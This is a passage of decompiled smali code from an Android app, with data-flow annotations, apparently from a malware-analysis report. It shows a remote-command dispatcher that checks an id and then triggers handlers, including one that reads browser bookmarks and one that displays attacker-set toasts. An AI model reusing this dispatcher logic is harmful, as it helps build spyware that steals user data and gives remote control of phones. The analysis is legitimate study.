840const/4 v1, 0x0
841iput v1, v0, Lsys/arshad/sys/MainActivity;->r:I
843invoke-direct {p0}, Lsys/arshad/sys/MainActivity$b;->p()V
844goto/16 :goto_74
845pswitch_4ba:
846iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
848iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
849const/4 v1, 0x1
850aget-object v1, v6, v1
852invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
853move-result v0
854if-eq v0, v2, :cond_74
856invoke-direct {p0}, Lsys/arshad/sys/MainActivity$b;->q()V
857goto/16 :goto_74
858pswitch_4cc:
859iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
861iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
862const/4 v1, 0x1
863aget-object v1, v6, v1
865invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
866move-result v0
867if-eq v0, v2, :cond_74
869iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
871invoke-static {v0}, Lsys/arshad/sys/MainActivity;->C(Lsys/arshad/sys/MainActivity;)V
872goto/16 :goto_74
873pswitch_4e0:
874iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
876iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
877const/4 v1, 0x1
878aget-object v1, v6, v1
880invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
881move-result v0
882if-eq v0, v2, :cond_74
883const/4 v0, 0x2
884aget-object v0, v6, v0
885const/4 v1, 0x3
886aget-object v1, v6, v1
887const/4 v2, 0x4
888aget-object v2, v6, v2
889const/4 v3, 0x0
891invoke-direct {p0, v0, v1, v2, v3}, Lsys/arshad/sys/MainActivity$b;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)V
  • Data flow analysis:
    • p3: 0
892goto/16 :goto_74
893pswitch_4fc:
894iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
896iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
897const/4 v1, 0x1
898aget-object v1, v6, v1
900invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
901move-result v0
902if-eq v0, v2, :cond_74
904invoke-direct {p0}, Lsys/arshad/sys/MainActivity$b;->r()V
905goto/16 :goto_74
906pswitch_50e:
907iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
909iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
910const/4 v1, 0x1
911aget-object v1, v6, v1
913invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
914move-result v0
915if-eq v0, v2, :cond_74
916sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
917const/16 v1, 0x15
918if-lt v0, v1, :cond_74
920iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
922invoke-static {v0}, Lsys/arshad/sys/MainActivity;->D(Lsys/arshad/sys/MainActivity;)V
923goto/16 :goto_74
924pswitch_528:
925iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
927iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
928const/4 v1, 0x1
929aget-object v1, v6, v1
931invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
932move-result v0
933if-eq v0, v2, :cond_74
935invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b;->c()V
936goto/16 :goto_74
937pswitch_53a:
938iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
940iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
941const/4 v1, 0x1
942aget-object v1, v6, v1
944invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
945move-result v0
946if-eq v0, v2, :cond_74
947const/4 v0, 0x2
948aget-object v0, v6, v0
950invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
951move-result-object v0
953invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->i(Ljava/lang/String;)V
954goto/16 :goto_74
955pswitch_553:
956iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
958iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
959const/4 v1, 0x1
960aget-object v1, v6, v1
962invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
963move-result v0
964if-eq v0, v2, :cond_74
965const/4 v0, 0x2
966aget-object v0, v6, v0
968invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
969move-result-object v0
971iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
973invoke-static {v1, v0}, Lsys/arshad/sys/MainActivity;->h(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)V
974goto/16 :goto_74
975pswitch_56e:
976iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
978iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
979const/4 v1, 0x1
980aget-object v1, v6, v1
982invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
983move-result v0
984if-eq v0, v2, :cond_74
985const/4 v0, 0x2
986aget-object v0, v6, v0
988invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
989move-result-object v0
991invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->j(Ljava/lang/String;)V
992goto/16 :goto_74
993pswitch_587:
994iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
996iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
997const/4 v1, 0x1
998aget-object v1, v6, v1
1000invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1001move-result v0
1002if-eq v0, v2, :cond_74
1004invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b;->k()V
1005goto/16 :goto_74
1006pswitch_599:
1007iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1009iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1010const/4 v1, 0x1
1011aget-object v1, v6, v1
1013invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1014move-result v0
1015if-eq v0, v2, :cond_74
1016const/4 v0, 0x2
1017aget-object v0, v6, v0
1019invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1020move-result-object v0
1022invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->k(Ljava/lang/String;)V
1023goto/16 :goto_74
1024pswitch_5b2:
1025iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1027iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1028const/4 v1, 0x1
1029aget-object v1, v6, v1
1031invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1032move-result v0
1033if-eq v0, v2, :cond_74
1034const/4 v0, 0x2
1035aget-object v0, v6, v0
1037invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1038move-result-object v0
1039if-eqz v0, :cond_74
1041iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1043invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->d(Ljava/lang/String;)Ljava/lang/String;
1044goto/16 :goto_74
1045pswitch_5cf:
1046iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1048iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1049const/4 v1, 0x1
1050aget-object v1, v6, v1
1052invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1053move-result v0
1054if-eq v0, v2, :cond_74
1056invoke-direct {p0}, Lsys/arshad/sys/MainActivity$b;->s()V
1057goto/16 :goto_74
1058pswitch_5e1:
1059iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1061iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1062const/4 v1, 0x1
1063aget-object v1, v6, v1
1065invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1066move-result v0
1067if-eq v0, v2, :cond_74
1068const/4 v0, 0x2
1069aget-object v0, v6, v0
1071invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1072move-result-object v0
1074invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->b(Ljava/lang/String;)Ljava/lang/String;
1075goto/16 :goto_74
1076pswitch_5fa:
1077iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1079iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1080const/4 v1, 0x1
1081aget-object v1, v6, v1
1083invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1084move-result v0
1085if-eq v0, v2, :cond_74
1087iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1089invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->j()V
1090goto/16 :goto_74
1091pswitch_60e:
1092iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1094iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1095const/4 v1, 0x1
1096aget-object v1, v6, v1
1098invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1099move-result v0
1100if-eq v0, v2, :cond_74
1102iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1104const-string v1, "content://browser/bookmarks"
1106invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->i(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: content://browser/bookmarks
1108sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
1110iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1112iget-object v1, v1, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1114invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
1115goto/16 :goto_74
1116pswitch_62d:
1117iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1119iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1120const/4 v1, 0x1
1121aget-object v1, v6, v1
1123invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1124move-result v0
1125if-eq v0, v2, :cond_74
1126const/4 v0, 0x2
1127aget-object v0, v6, v0
1129invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1130move-result-object v1
1131const/4 v0, 0x3
1132aget-object v0, v6, v0
1134invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1135move-result-object v2
1136const/4 v0, 0x4
1137aget-object v0, v6, v0
1139invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1140move-result-object v3
1141const/4 v0, 0x5
1142aget-object v0, v6, v0
1144invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1145move-result-object v4
1146const/4 v0, 0x6
1147aget-object v0, v6, v0
1149invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1150move-result-object v5
1151const/4 v0, 0x7
1152aget-object v0, v6, v0
1154invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1155move-result-object v6
1157iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1159invoke-virtual/range {v0 .. v6}, Lsys/arshad/sys/MainActivity;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
1160goto/16 :goto_74
1161pswitch_66b:
1162iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1164iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1165const/4 v1, 0x1
1166aget-object v1, v6, v1
1168invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1169move-result v0
1170if-eq v0, v2, :cond_74
1171const/4 v0, 0x2
1172aget-object v0, v6, v0
1174invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1175move-result-object v0
1177invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->l(Ljava/lang/String;)V
1178goto/16 :goto_74
1179pswitch_684:
1180iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1182iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1183const/4 v1, 0x1
1184aget-object v1, v6, v1
1186invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1187move-result v0
1188if-eq v0, v2, :cond_74
1189const/4 v0, 0x2
1190aget-object v0, v6, v0
1192invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1193move-result-object v0
1195invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->o(Ljava/lang/String;)V
1196goto/16 :goto_74
1197pswitch_69d:
1198iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1200iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1201const/4 v1, 0x1
1202aget-object v1, v6, v1
1204invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1205move-result v0
1206if-eq v0, v2, :cond_74
1207const/4 v0, 0x2
1208aget-object v0, v6, v0
1210invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
1211move-result-object v0
1213invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->m(Ljava/lang/String;)V
1214goto/16 :goto_74
1215pswitch_6b6:
1216iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1218iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1219const/4 v1, 0x1
1220aget-object v1, v6, v1
1222invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1223move-result v0
1224if-eq v0, v2, :cond_74
1225const/4 v0, 0x2
1226aget-object v0, v6, v0
1227const/4 v1, 0x3
1228aget-object v1, v6, v1
1230invoke-direct {p0, v0, v1}, Lsys/arshad/sys/MainActivity$b;->c(Ljava/lang/String;Ljava/lang/String;)V
1231goto/16 :goto_74
1232pswitch_6ce:
1233iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1235iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1236const/4 v1, 0x1
1237aget-object v1, v6, v1
1239invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1240move-result v0
1241if-eq v0, v2, :cond_74
1243invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b;->l()V
1244goto/16 :goto_74
1245pswitch_6e0:
1246iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1248iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1249const/4 v1, 0x1
1250aget-object v1, v6, v1
1252invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1253move-result v0
1254if-eq v0, v2, :cond_74
1256invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b;->d()V
1257goto/16 :goto_74
1258pswitch_6f2:
1259iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1261iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1262const/4 v1, 0x1
1263aget-object v1, v6, v1
1265invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1266move-result v0
1267if-eq v0, v2, :cond_74
1269iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1271invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
1272move-result-object v0
1273const/4 v1, 0x2
1274aget-object v1, v6, v1
1276const-string v2, "|L|n|"
1278const-string v7, "\n"
1280invoke-virtual {v1, v2, v7}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: |L|n|
    • p1: \n
1281move-result-object v1
1282const/4 v2, 0x3
1283aget-object v2, v6, v2
1285invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
1286move-result-object v2
1288invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
1289move-result v2
1290const/4 v6, 0x0
1292invoke-static {v0, v1, v6}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
  • Data flow analysis:
    • duration: 0
1293move-result-object v0
1294if-nez v2, :cond_72d
1295const/4 v1, 0x0
1296const/4 v2, 0x0
1297const/4 v3, 0x0
1299invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 0
    • xOffset: 0
    • yOffset: 0
1300cond_728:
1301invoke-virtual {v0}, Landroid/widget/Toast;->show()V
1302goto/16 :goto_74
1303cond_72d: if-ne v2, v3, :cond_738
1304const v1, 0x800003
1305const/4 v2, 0x0
1306const/4 v3, 0x0
1308invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 8388611
    • xOffset: 0
    • yOffset: 0
1309goto/16 :goto_728
1310cond_738: if-ne v2, v4, :cond_743
1311const v1, 0x800005
1312const/4 v2, 0x0
1313const/4 v3, 0x0
1315invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 8388613
    • xOffset: 0
    • yOffset: 0
1316goto/16 :goto_728
1317cond_743: if-ne v2, v5, :cond_74d
1318const/16 v1, 0x11
1319const/4 v2, 0x0
1320const/4 v3, 0x0
1322invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 17
    • xOffset: 0
    • yOffset: 0
1323goto/16 :goto_728
1324cond_74d: const/4 v1, 0x4
1325if-ne v2, v1, :cond_758
1326const/16 v1, 0x10
1327const/4 v2, 0x0
1328const/4 v3, 0x0
1330invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 16
    • xOffset: 0
    • yOffset: 0
1331goto/16 :goto_728
1332cond_758: const/4 v1, 0x5
1333if-ne v2, v1, :cond_762
1334const/4 v1, 0x1
1335const/4 v2, 0x0
1336const/4 v3, 0x0
1338invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 1
    • xOffset: 0
    • yOffset: 0
1339goto/16 :goto_728
1340cond_762: const/4 v1, 0x6
1341if-ne v2, v1, :cond_76d
1342const/16 v1, 0x50
1343const/4 v2, 0x0
1344const/4 v3, 0x0
1346invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 80
    • xOffset: 0
    • yOffset: 0
1347goto/16 :goto_728
1348cond_76d: const/4 v1, 0x7
1349if-ne v2, v1, :cond_778
1350const/16 v1, 0x30
1351const/4 v2, 0x0
1352const/4 v3, 0x0
1354invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 48
    • xOffset: 0
    • yOffset: 0
1355goto/16 :goto_728
1356cond_778: const/16 v1, 0x8
1357if-ne v2, v1, :cond_783
1358const/4 v1, 0x3
1359const/4 v2, 0x0
1360const/4 v3, 0x0
1362invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 3
    • xOffset: 0
    • yOffset: 0
1363goto/16 :goto_728
1364cond_783: const/16 v1, 0x9
1365if-ne v2, v1, :cond_78e
1366const/4 v1, 0x5
1367const/4 v2, 0x0
1368const/4 v3, 0x0
1370invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 5
    • xOffset: 0
    • yOffset: 0
1371goto/16 :goto_728
1372cond_78e: const/16 v1, 0xa
1373if-ne v2, v1, :cond_799
1374const/4 v1, 0x7
1375const/4 v2, 0x0
1376const/4 v3, 0x0
1378invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 7
    • xOffset: 0
    • yOffset: 0
1379goto/16 :goto_728
1380cond_799: const/16 v1, 0xb
1381if-ne v2, v1, :cond_7a6
1382const v1, 0x800007
1383const/4 v2, 0x0
1384const/4 v3, 0x0
1386invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 8388615
    • xOffset: 0
    • yOffset: 0
1387goto/16 :goto_728
1388cond_7a6: const/16 v1, 0xc
1389if-ne v2, v1, :cond_7b3
1390const/16 v1, 0x70
1391const/4 v2, 0x0
1392const/4 v3, 0x0
1394invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 112
    • xOffset: 0
    • yOffset: 0
1395goto/16 :goto_728
1396cond_7b3: const/16 v1, 0xd
1397if-ne v2, v1, :cond_7c0
1398const/16 v1, 0x77
1399const/4 v2, 0x0
1400const/4 v3, 0x0
1402invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 119
    • xOffset: 0
    • yOffset: 0
1403goto/16 :goto_728
1404cond_7c0: const/16 v1, 0xe
1405if-ne v2, v1, :cond_7cc
1406const/4 v1, 0x7
1407const/4 v2, 0x0
1408const/4 v3, 0x0
1410invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 7
    • xOffset: 0
    • yOffset: 0
1411goto/16 :goto_728
1412cond_7cc: const/16 v1, 0xf
1413if-ne v2, v1, :cond_7d9
1414const/16 v1, 0x70
1415const/4 v2, 0x0
1416const/4 v3, 0x0
1418invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 112
    • xOffset: 0
    • yOffset: 0
1419goto/16 :goto_728
1420cond_7d9: const/16 v1, 0x10
1421if-ne v2, v1, :cond_7e6
1422const/16 v1, 0x8
1423const/4 v2, 0x0
1424const/4 v3, 0x0
1426invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 8
    • xOffset: 0
    • yOffset: 0
1427goto/16 :goto_728
1428cond_7e6: const/16 v1, 0x11
1429if-ne v2, v1, :cond_7f3
1430const/16 v1, 0x80
1431const/4 v2, 0x0
1432const/4 v3, 0x0
1434invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 128
    • xOffset: 0
    • yOffset: 0
1435goto/16 :goto_728
1436cond_7f3: const/16 v1, 0x12
1437if-ne v2, v1, :cond_800
1438const/high16 v1, 0x1000000
1439const/4 v2, 0x0
1440const/4 v3, 0x0
1442invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 16777216
    • xOffset: 0
    • yOffset: 0
1443goto/16 :goto_728
1444cond_800: const/16 v1, 0x13
1445if-ne v2, v1, :cond_728
1446const/high16 v1, 0x10000000
1447const/4 v2, 0x0
1448const/4 v3, 0x0
1450invoke-virtual {v0, v1, v2, v3}, Landroid/widget/Toast;->setGravity(III)V
  • Data flow analysis:
    • gravity: 268435456
    • xOffset: 0
    • yOffset: 0
1451goto/16 :goto_728
1452pswitch_80d:
1453iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1455iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1456const/4 v1, 0x1
1457aget-object v1, v6, v1
1459invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1460move-result v0
1461if-eq v0, v2, :cond_74
1462const/4 v0, 0x0
1463const/4 v1, 0x2
1464aget-object v1, v6, v1
1466invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
1467move-result-object v1
1469invoke-virtual {p0, v0, v1}, Lsys/arshad/sys/MainActivity$b;->a(ILjava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: 0
1470goto/16 :goto_74
1471pswitch_827:
1472iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1474iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1475const/4 v1, 0x1
1476aget-object v1, v6, v1
1478invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1479move-result v0
1480if-eq v0, v2, :cond_74
1482invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b;->m()V
1483goto/16 :goto_74
1484pswitch_839:
1485iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1487iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1488const/4 v1, 0x1
1489aget-object v1, v6, v1
1491invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1492move-result v0
1493if-eq v0, v2, :cond_74
1494goto/16 :goto_74
1495pswitch_848:
1496iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1498iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1499const/4 v1, 0x1
1500aget-object v1, v6, v1
1502invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1503move-result v0
1504if-eq v0, v2, :cond_74
1506invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b;->e()V
1507goto/16 :goto_74
1508pswitch_85a:
1509iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1511iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1512const/4 v1, 0x1
1513aget-object v1, v6, v1
1515invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1516move-result v0
1517if-eq v0, v2, :cond_74
1519invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b;->f()V
1520goto/16 :goto_74
1521pswitch_86c:
1522iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1524iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1525const/4 v1, 0x1
1526aget-object v1, v6, v1
1528invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1529move-result v0
1530if-eq v0, v2, :cond_74
1531const/4 v0, 0x0
1533invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->a(I)V
  • Data flow analysis:
    • p0: 0
1534goto/16 :goto_74
1535pswitch_87f:
1536iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1538iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1539const/4 v1, 0x1
1540aget-object v1, v6, v1
1542invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1543move-result v0
1544if-eq v0, v2, :cond_74
1545const/4 v0, 0x1
1547invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->a(I)V
  • Data flow analysis:
    • p0: 1
1548goto/16 :goto_74
1549pswitch_892:
1550iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
1552iget-object v0, v0, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
1553const/4 v1, 0x1
1554aget-object v1, v6, v1
1556invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
1557move-result v0
1558if-eq v0, v2, :cond_74
1559const/4 v0, 0x2
1561invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity$b;->a(I)V
  • Data flow analysis:
    • p0: 2
1562goto/16 :goto_74
